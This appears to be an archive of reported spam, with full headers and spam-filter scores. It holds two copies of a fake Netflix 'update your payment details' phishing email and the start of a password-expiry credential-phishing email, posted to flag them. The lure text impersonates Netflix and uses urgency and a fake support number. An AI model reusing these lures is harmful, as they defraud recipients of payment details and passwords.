n: none; font-size:1.5em" href=3D"https://network.bazaarvoice.com/r/HmtlIR2=

EckjI7PJh?">Write a review



 


Thanks again,


The Home Depot Canada




 




height:auto;object-fit:contain;" src=3D"https://images.homedepot.ca/product=

images/p_1000830468.jpg" alt=3D"HAH Inca Mini 100L I/O Clear">


=20














adjust:none;padding-bottom:.5em;padding-left:.5em;padding-right:.5em;paddin=

g-top:.5em;border:1px solid #dddddd;background-color:#eeeeee;margin-top:0;m=

argin-bottom:0;">


t.ca">Contact Customer Service
with questions or concerns. If you no lo=

nger wish to receive notifications like this, you can
6C9D !important;" href=3D"https://network.bazaarvoice.com/r/MYOjDINlmeLFVkl=

H?">unsubscribe
any time.


 


Please allow up to ten business days for The Home Depot to process =

any changes to your email preferences.





You may also be removed from this list by calling 1-800-628-0525, or mailin=

g your request to homedepot.ca at:





Home Depot of Canada Inc.


1 Concorde Gate, Ste. 400


Toronto, ON M3C 4H9


 









e=3DOpened&messageId=3D1c08ef54-c849-11ef-8f41-0e4b72ccfc17&client=3Dhomede=

pot-canada&source=3Dletterpress" alt=3D"" />



Netflix PHish from Amazon.com

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sat, 28 Dec 2024 20:48:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98 (FreeBSD))

(envelope-from )

id 1tRkGg-000000006ej-3yqd

for dave@doctor.nl2k.ab.ca;

Sat, 28 Dec 2024 20:47:06 -0700

Resent-From: The Doctor

Resent-Date: Sat, 28 Dec 2024 20:47:06 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from e234-53.smtp-out.ap-northeast-1.amazonses.com ([23.251.234.53]:48513)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.98 (FreeBSD))

(envelope-from <010601941081a40b-4c6fc38f-4024-472e-9e26-9a6c7100c7d2-000000@ap-northeast-1.amazonses.com>)

id 1tRkDd-000000005qV-0JMM

for doctor@doctor.nl2k.ab.ca;

Sat, 28 Dec 2024 20:44:02 -0700

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple;

s=ewmf7vfjknyxff4qzlgo556f5ujnfwgq; d=sanpark.jp; t=1735443719;

h=Content-Type:From:To:Subject:Message-ID:Content-Transfer-Encoding:Date:MIME-Version;

bh=ePOjBbBIx2ebrZue4qqnhFfpsB0u4ud8+RwTZQofsQQ=;

b=IblKwSrUyM7xt6D3mUApnZq7hIhEXr9A+nQhzwI+ilvPgH6I3p5cWRrSPTxd651e

ve9VT1q5m0cA5AIiAdCYMwD60aig7jo1hxTdFRCh4+0l4hC5TYBAs26NQLv5kqE+RiI

9YumRiTAleq5UkE9IhDINd4Y6nPr9Mb6PVPAoUUVQa4kGnQUyt9rxXhc43XF9E1Tslz

k6JO4GG0Xc7ClHWPj2REjVbzEq9NtBY5TmWw+EgE7nXyzIoADQc74bBAgLsd7WiMHK6

VUFwrAoTJCp+KNLQDkzzf62qpl/AEQYFWeHpZ3aVFOt7VYv/oWh0Zi18JmgjYcLc6QQ

kUTZ7xQg/A==

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple;

s=wf7ez2pjvcsodozkoqksj277kza7wu47; d=amazonses.com; t=1735443719;

h=Content-Type:From:To:Subject:Message-ID:Content-Transfer-Encoding:Date:MIME-Version:Feedback-ID;

bh=ePOjBbBIx2ebrZue4qqnhFfpsB0u4ud8+RwTZQofsQQ=;

b=UKY8zRl3vF7Zq5MGFs2795IFD+j4ZCbBq2Muj7unVwNz96db/HPCcGJ2gBKMUW/q

uNfSpVfv9UrAAEsMvlOBYrko0oGL5RT83X1eGSnGWU56yl4kr2Qy7kjru0MYae9zzzz

+DcXPb3s3si/dH6cEnNyISxviKFqQJ6BptOF73DI=

Content-Type: text/html; charset=utf-8

From: Customer relations

To: doctor@doctor.nl2k.ab.ca

Subject: Re: Last reminder before closing your account [DD-301063-D8368]

Message-ID: <010601941081a40b-4c6fc38f-4024-472e-9e26-9a6c7100c7d2-000000@ap-northeast-1.amazonses.com>

Content-Transfer-Encoding: quoted-printable

Date: Sun, 29 Dec 2024 03:41:59 +0000

MIME-Version: 1.0

Feedback-ID: ::1.ap-northeast-1.15bTJveONGhjmOYk8mWC3oh4FCd8ZSuLEV0HmtdF5Dw=:AmazonSES

X-SES-Outgoing: 2024.12.29-23.251.234.53

X-Spam_score: 8.0

X-Spam_score_int: 80

X-Spam_bar: ++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Regularize your situation Update your payment details



Content analysis details: (8.0 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[23.251.234.53 listed in dnsbl.ahbl.org]

[23.251.234.53 listed in dnsbl.ahbl.org]

[23.251.234.53 listed in dnsbl.ahbl.org]

[23.251.234.53 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[23.251.234.53 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[23.251.234.53 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[23.251.234.53 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[23.251.234.53 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[23.251.234.53 listed in will-spam-for-food.eu.org]

[23.251.234.53 listed in will-spam-for-food.eu.org]

[23.251.234.53 listed in will-spam-for-food.eu.org]

[23.251.234.53 listed in will-spam-for-food.eu.org]

[23.251.234.53 listed in will-spam-for-food.eu.org]

[23.251.234.53 listed in will-spam-for-food.eu.org]

[23.251.234.53 listed in will-spam-for-food.eu.org]

[23.251.234.53 listed in will-spam-for-food.eu.org]

0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The

query to Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[23.251.234.53 listed in sa-trusted.bondedsender.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to

Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[23.251.234.53 listed in sa-accredit.habeas.com]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 SPF_PASS SPF: sender matches SPF record

0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to

Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[23.251.234.53 listed in bl.score.senderscore.com]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[23.251.234.53 listed in bl.score.senderscore.com]

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[23.251.234.53 listed in list.dnswl.org]

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid

-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature

-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's

domain

2.0 GR_DOMAIN_AMAZON1 Received contains spam friendly host (amazon)

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail

domains are different

-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay

domain

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

1.5 IMPRONONCABLE_2 Too much mixed numbers and lower-case letters

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

Subject: {SPAM?} Re: Last reminder before closing your account [DD-301063-D8368]




.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


ft-com:vml" xmlns:o=3D"urn:schemas-microsoft-com:office:office">








charset=3DUTF-8">


initial-scale=3D1.0">


























0;-webkit-text-size-adjust: 100%;background-color: #e7e7e7;color: =

#000000">






fixed;border-spacing: 0;mso-table-lspace: 0pt;mso-table-rspace: =

0pt;vertical-align: top;min-width: 320px;Margin: 0 auto;background-color: =

#e7e7e7;width:100%" cellpadding=3D"0" cellspacing=3D"0">












important;vertical-align: top">










0px;background-color: transparent">


320px;max-width: 500px;overflow-wrap: break-word;word-wrap: =

break-word;word-break: break-word;background-color: transparent;">


100%;height: 100%;background-color: transparent;">








320px;min-width: 500px;display: table-cell;vertical-align: top;">


100%;width: 100% !important;">




padding: 0px;border-top: 0px solid transparent;border-left: 0px solid =

transparent;border-right: 0px solid transparent;border-bottom: 0px solid =

transparent;">






sans-serif;" role=3D"presentation" cellpadding=3D"0" cellspacing=3D"0" =

width=3D"100%" border=3D"0">












k:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" =

align=3D"left">




cellspacing=3D"0" border=3D"0">








0px;padding-left: 0px;" align=3D"left">




src=3D"https://assets.unlayer.com/projects/154503/1727779201688-n%20petit%2=

0nouvooo.png" alt=3D"" title=3D"" style=3D"outline: none;text-decoration: =

none;-ms-interpolation-mode: bicubic;clear: both;display: inline-block !=

important;border: none;height: auto;float: none;width: 100%;max-width: =

85px;"

width=3D"85" />










































0px;background-color: transparent">


320px;max-width: 500px;overflow-wrap: break-word;word-wrap: =

break-word;word-break: break-word;background-color: transparent;">


100%;height: 100%;background-color: transparent;">








320px;min-width: 500px;display: table-cell;vertical-align: top;">


100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">




padding: 0px;border-top: 0px solid transparent;border-left: 0px solid =

transparent;border-right: 0px solid transparent;border-bottom: 0px solid =

transparent;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">






sans-serif;" role=3D"presentation" cellpadding=3D"0" cellspacing=3D"0" =

width=3D"100%" border=3D"0">












k:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" =

align=3D"left">




#ffffff; line-height: 140%; text-align: center; word-wrap: break-word;">


0px;">
2px;">Regularize your situation










































0px;background-color: transparent">


320px;max-width: 500px;overflow-wrap: break-word;word-wrap: =

break-word;word-break: break-word;background-color: transparent;">


100%;height: 100%;background-color: transparent;">








320px;min-width: 500px;display: table-cell;vertical-align: top;">


100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">




padding: 0px;border-top: 0px solid transparent;border-left: 0px solid =

transparent;border-right: 0px solid transparent;border-bottom: 0px solid =

transparent;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">






sans-serif;" role=3D"presentation" cellpadding=3D"0" cellspacing=3D"0" =

width=3D"100%" border=3D"0">












k:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" =

align=3D"left">




140%; text-align: center; word-wrap: break-word;">


0px;">Update your payment details












sans-serif;" role=3D"presentation" cellpadding=3D"0" cellspacing=3D"0" =

width=3D"100%" border=3D"0">












k:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" =

align=3D"left">




140%; text-align: left; word-wrap: break-word;">


0px;">
21px;">Dear Customer,




0px;">
We are having problems with your billing information. We will try=

again, but you may need to update your payment details.












sans-serif;" role=3D"presentation" cellpadding=3D"0" cellspacing=3D"0" =

width=3D"100%" border=3D"0">












k:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" =

align=3D"left">












































0px;background-color: transparent">


320px;max-width: 500px;overflow-wrap: break-word;word-wrap: =

break-word;word-break: break-word;background-color: #ffffff;">


100%;height: 100%;background-color: transparent;">








320px;min-width: 166.67px;display: table-cell;vertical-align: top;">


100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">




padding: 0px;border-top: 0px solid transparent;border-left: 0px solid =

transparent;border-right: 0px solid transparent;border-bottom: 0px solid =

transparent;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">






sans-serif;" role=3D"presentation" cellpadding=3D"0" cellspacing=3D"0" =

width=3D"100%" border=3D"0">












k:break-word;padding:29px;font-family:arial,helvetica,sans-serif;" =

align=3D"left">




cellspacing=3D"0" border=3D"0">








0px;padding-left: 0px;" align=3D"center">




src=3D"https://assets.unlayer.com/projects/154503/1727779208953-n%20petit%2=

0nouvooo.png" alt=3D"" title=3D"" style=3D"outline: none;text-decoration: =

none;-ms-interpolation-mode: bicubic;clear: both;display: inline-block !=

important;border: none;height: auto;float: none;width: 100%;max-width: =

85px;"

width=3D"85" />


























320px;min-width: 333.33px;display: table-cell;vertical-align: top;">


important;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">




padding: 0px;border-top: 0px solid transparent;border-left: 0px solid =

transparent;border-right: 0px solid transparent;border-bottom: 0px solid =

transparent;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">






sans-serif;" role=3D"presentation" cellpadding=3D"0" cellspacing=3D"0" =

width=3D"100%" border=3D"0">












k:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" =

align=3D"left">




140%; text-align: left; word-wrap: break-word;">


0px;">Do you have any questions? Call 0800-768-07.




0px;">Netflix International B.V.




0px;"> 




0px;"> 




0px;">
14px;">Communication Settings


style=3D"text-decoration: underline; line-height: 14px;">Terms of =

Use


line-height: 14px;">Privacy




style=3D"text-decoration: underline; =

line-height: 14px;">Help Center




0px;"> 




0px;"> 




0px;">This message is addressed to the customer as part of their =

subscription.
SRC: 633B530F_fc6c7b6e-6878-4e22-b19a-bf36cce91c11_-EVO
>

















































Netflix PHish from Amazon.com

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sat, 28 Dec 2024 18:13:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98 (FreeBSD))

(envelope-from )

id 1tRhqb-00000000Ouc-0RJq

for dave@doctor.nl2k.ab.ca;

Sat, 28 Dec 2024 18:12:01 -0700

Resent-From: The Doctor

Resent-Date: Sat, 28 Dec 2024 18:12:01 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from a8-42.smtp-out.amazonses.com ([54.240.8.42]:49195)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.98 (FreeBSD))

(envelope-from <010001940f2e80b0-bea3f483-c3b6-4b98-a845-1718ab1f0d41-000000@amazonses.com>)

id 1tReR9-00000000JPv-28a4

for root@nk.ca;

Sat, 28 Dec 2024 14:33:36 -0700

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple;

s=y6z5vgdj4pnuonaqxzwm7tgqjdnaweh2; d=scopeapps.net; t=1735421493;

h=Content-Type:From:To:Subject:Message-ID:Content-Transfer-Encoding:Date:MIME-Version;

bh=ePOjBbBIx2ebrZue4qqnhFfpsB0u4ud8+RwTZQofsQQ=;

b=Ko/Ztc8ngSytz0FdUn7dMhxnU7mV5xkIUUoTOEDdyFOq7Am80Rxm3uogs34rcWj3

3aNeDF9zOWVvekAGt2e3jKnRrfA/HrhEb2BthZ8rE/vkyWDi7NN80/OAteDZ79o1fuh

tmgFQILfxcc0GCF3hT99dDg3Gb4TYc2bnCZystaQ=

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple;

s=ug7nbtf4gccmlpwj322ax3p6ow6yfsug; d=amazonses.com; t=1735421493;

h=Content-Type:From:To:Subject:Message-ID:Content-Transfer-Encoding:Date:MIME-Version:Feedback-ID;

bh=ePOjBbBIx2ebrZue4qqnhFfpsB0u4ud8+RwTZQofsQQ=;

b=A4SRHExLp79pfSZQ4Yahvzgq72kgM1J61U/V+FaWO/NqTAnXu3zqaohXjAWaCIT1

gnKX/YqYdXtIMm5h9CrFTRSOzNhfnV9q8PAx4ruloeIbQC6dQHlZJrNWqnOrNP1o7su

qWkykbYIK+ld5ZAzGU+l0HCU6MW0kdxVbbg+Iby4=

Content-Type: text/html; charset=utf-8

From: Customer relations

To: root@nk.ca

Subject: Re: Last reminder before closing your account [DD-709037-D3262]

Message-ID: <010001940f2e80b0-bea3f483-c3b6-4b98-a845-1718ab1f0d41-000000@email.amazonses.com>

Content-Transfer-Encoding: quoted-printable

Date: Sat, 28 Dec 2024 21:31:33 +0000

MIME-Version: 1.0

Feedback-ID: ::1.us-east-1.sPKEHm6L3KRG9HCTnttaTemNDqrUcedLuA0WDcPogOg=:AmazonSES

X-SES-Outgoing: 2024.12.28-54.240.8.42

X-Spam_score: 8.4

X-Spam_score_int: 84

X-Spam_bar: ++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Regularize your situation Update your payment details



Content analysis details: (8.4 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[54.240.8.42 listed in dnsbl.ahbl.org]

[54.240.8.42 listed in dnsbl.ahbl.org]

[54.240.8.42 listed in dnsbl.ahbl.org]

[54.240.8.42 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[54.240.8.42 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[54.240.8.42 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[54.240.8.42 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[54.240.8.42 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[54.240.8.42 listed in will-spam-for-food.eu.org]

[54.240.8.42 listed in will-spam-for-food.eu.org]

[54.240.8.42 listed in will-spam-for-food.eu.org]

[54.240.8.42 listed in will-spam-for-food.eu.org]

[54.240.8.42 listed in will-spam-for-food.eu.org]

[54.240.8.42 listed in will-spam-for-food.eu.org]

[54.240.8.42 listed in will-spam-for-food.eu.org]

[54.240.8.42 listed in will-spam-for-food.eu.org]

0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to

Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[54.240.8.42 listed in sa-accredit.habeas.com]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The

query to Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[54.240.8.42 listed in sa-trusted.bondedsender.org]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[54.240.8.42 listed in list.dnswl.org]

0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to

Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[54.240.8.42 listed in bl.score.senderscore.com]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[54.240.8.42 listed in bl.score.senderscore.com]

-0.0 RCVD_IN_MSPIKE_H3 RBL: Good reputation (+3)

[54.240.8.42 listed in wl.mailspike.net]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from

envelope-from domain

0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid

-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature

-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's

domain

-0.0 RCVD_IN_MSPIKE_WL Mailspike good senders

2.0 GR_DOMAIN_AMAZON1 Received contains spam friendly host (amazon)

0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail

domains are different

-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay

domain

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

1.5 IMPRONONCABLE_2 Too much mixed numbers and lower-case letters

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

Subject: {SPAM?} Re: Last reminder before closing your account [DD-709037-D3262]




.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


ft-com:vml" xmlns:o=3D"urn:schemas-microsoft-com:office:office">








charset=3DUTF-8">


initial-scale=3D1.0">


























0;-webkit-text-size-adjust: 100%;background-color: #e7e7e7;color: =

#000000">






fixed;border-spacing: 0;mso-table-lspace: 0pt;mso-table-rspace: =

0pt;vertical-align: top;min-width: 320px;Margin: 0 auto;background-color: =

#e7e7e7;width:100%" cellpadding=3D"0" cellspacing=3D"0">












important;vertical-align: top">










0px;background-color: transparent">


320px;max-width: 500px;overflow-wrap: break-word;word-wrap: =

break-word;word-break: break-word;background-color: transparent;">


100%;height: 100%;background-color: transparent;">








320px;min-width: 500px;display: table-cell;vertical-align: top;">


100%;width: 100% !important;">




padding: 0px;border-top: 0px solid transparent;border-left: 0px solid =

transparent;border-right: 0px solid transparent;border-bottom: 0px solid =

transparent;">






sans-serif;" role=3D"presentation" cellpadding=3D"0" cellspacing=3D"0" =

width=3D"100%" border=3D"0">












k:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" =

align=3D"left">




cellspacing=3D"0" border=3D"0">








0px;padding-left: 0px;" align=3D"left">




src=3D"https://assets.unlayer.com/projects/154503/1727779201688-n%20petit%2=

0nouvooo.png" alt=3D"" title=3D"" style=3D"outline: none;text-decoration: =

none;-ms-interpolation-mode: bicubic;clear: both;display: inline-block !=

important;border: none;height: auto;float: none;width: 100%;max-width: =

85px;"

width=3D"85" />










































0px;background-color: transparent">


320px;max-width: 500px;overflow-wrap: break-word;word-wrap: =

break-word;word-break: break-word;background-color: transparent;">


100%;height: 100%;background-color: transparent;">








320px;min-width: 500px;display: table-cell;vertical-align: top;">


100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">




padding: 0px;border-top: 0px solid transparent;border-left: 0px solid =

transparent;border-right: 0px solid transparent;border-bottom: 0px solid =

transparent;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">






sans-serif;" role=3D"presentation" cellpadding=3D"0" cellspacing=3D"0" =

width=3D"100%" border=3D"0">












k:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" =

align=3D"left">




#ffffff; line-height: 140%; text-align: center; word-wrap: break-word;">


0px;">
2px;">Regularize your situation










































0px;background-color: transparent">


320px;max-width: 500px;overflow-wrap: break-word;word-wrap: =

break-word;word-break: break-word;background-color: transparent;">


100%;height: 100%;background-color: transparent;">








320px;min-width: 500px;display: table-cell;vertical-align: top;">


100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">




padding: 0px;border-top: 0px solid transparent;border-left: 0px solid =

transparent;border-right: 0px solid transparent;border-bottom: 0px solid =

transparent;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">






sans-serif;" role=3D"presentation" cellpadding=3D"0" cellspacing=3D"0" =

width=3D"100%" border=3D"0">












k:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" =

align=3D"left">




140%; text-align: center; word-wrap: break-word;">


0px;">Update your payment details












sans-serif;" role=3D"presentation" cellpadding=3D"0" cellspacing=3D"0" =

width=3D"100%" border=3D"0">












k:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" =

align=3D"left">




140%; text-align: left; word-wrap: break-word;">


0px;">
21px;">Dear Customer,




0px;">
We are having problems with your billing information. We will try=

again, but you may need to update your payment details.












sans-serif;" role=3D"presentation" cellpadding=3D"0" cellspacing=3D"0" =

width=3D"100%" border=3D"0">












k:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" =

align=3D"left">












































0px;background-color: transparent">


320px;max-width: 500px;overflow-wrap: break-word;word-wrap: =

break-word;word-break: break-word;background-color: #ffffff;">


100%;height: 100%;background-color: transparent;">








320px;min-width: 166.67px;display: table-cell;vertical-align: top;">


100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">




padding: 0px;border-top: 0px solid transparent;border-left: 0px solid =

transparent;border-right: 0px solid transparent;border-bottom: 0px solid =

transparent;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">






sans-serif;" role=3D"presentation" cellpadding=3D"0" cellspacing=3D"0" =

width=3D"100%" border=3D"0">












k:break-word;padding:29px;font-family:arial,helvetica,sans-serif;" =

align=3D"left">




cellspacing=3D"0" border=3D"0">








0px;padding-left: 0px;" align=3D"center">




src=3D"https://assets.unlayer.com/projects/154503/1727779208953-n%20petit%2=

0nouvooo.png" alt=3D"" title=3D"" style=3D"outline: none;text-decoration: =

none;-ms-interpolation-mode: bicubic;clear: both;display: inline-block !=

important;border: none;height: auto;float: none;width: 100%;max-width: =

85px;"

width=3D"85" />


























320px;min-width: 333.33px;display: table-cell;vertical-align: top;">


important;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">




padding: 0px;border-top: 0px solid transparent;border-left: 0px solid =

transparent;border-right: 0px solid transparent;border-bottom: 0px solid =

transparent;border-radius: 0px;-webkit-border-radius: 0px; =

-moz-border-radius: 0px;">






sans-serif;" role=3D"presentation" cellpadding=3D"0" cellspacing=3D"0" =

width=3D"100%" border=3D"0">












k:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" =

align=3D"left">




140%; text-align: left; word-wrap: break-word;">


0px;">Do you have any questions? Call 0800-768-07.




0px;">Netflix International B.V.




0px;"> 




0px;"> 




0px;">
14px;">Communication Settings


style=3D"text-decoration: underline; line-height: 14px;">Terms of =

Use


line-height: 14px;">Privacy




style=3D"text-decoration: underline; =

line-height: 14px;">Help Center




0px;"> 




0px;"> 




0px;">This message is addressed to the customer as part of their =

subscription.
SRC: 633B530F_fc6c7b6e-6878-4e22-b19a-bf36cce91c11_-EVO
>

















































nk.ca credential phishing from Russia

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Mon, 23 Dec 2024 11:51:00 -0700

Received: from [188.127.225.191] (port=51120 helo=compphp.com)

by doctor.nl2k.ab.ca with esmtp (Exim 4.98 (FreeBSD))

(envelope-from )

id 1tPnVv-000000007jF-2dzP

for dave@doctor.nl2k.ab.ca;

Mon, 23 Dec 2024 11:50:52 -0700

Received: from ec2-35-183-20-223.ca-central-1.compute.amazonaws.com (localhost [IPv6:::1])

by compphp.com (Postfix) with ESMTP id 9BF852A2793

for ; Mon, 23 Dec 2024 21:47:14 +0300 (MSK)

From: "Mail Service"

To: dave@doctor.nl2k.ab.ca

Subject: PASSWORD_EXPIRY_NOTIFICATION

Date: 23 Dec 2024 18:47:13 +0000

Message-ID: <20241223184713.A60F454941F3AFF6@olympicbd.com>

MIME-Version: 1.0

Content-Type: text/html

Content-Transfer-Encoding: quoted-printable

X-Spam_score: 9.9

X-Spam_score_int: 99

X-Spam_bar: +++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: doctor.nl2k.ab.ca Support Dear dave,



Content analysis details: (9.9 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[188.127.225.191 listed in dnsbl.ahbl.org]

[188.127.225.191 listed in dnsbl.ahbl.org]

[188.127.225.191 listed in dnsbl.ahbl.org]

[188.127.225.191 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[188.127.225.191 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[188.127.225.191 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[188.127.225.191 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

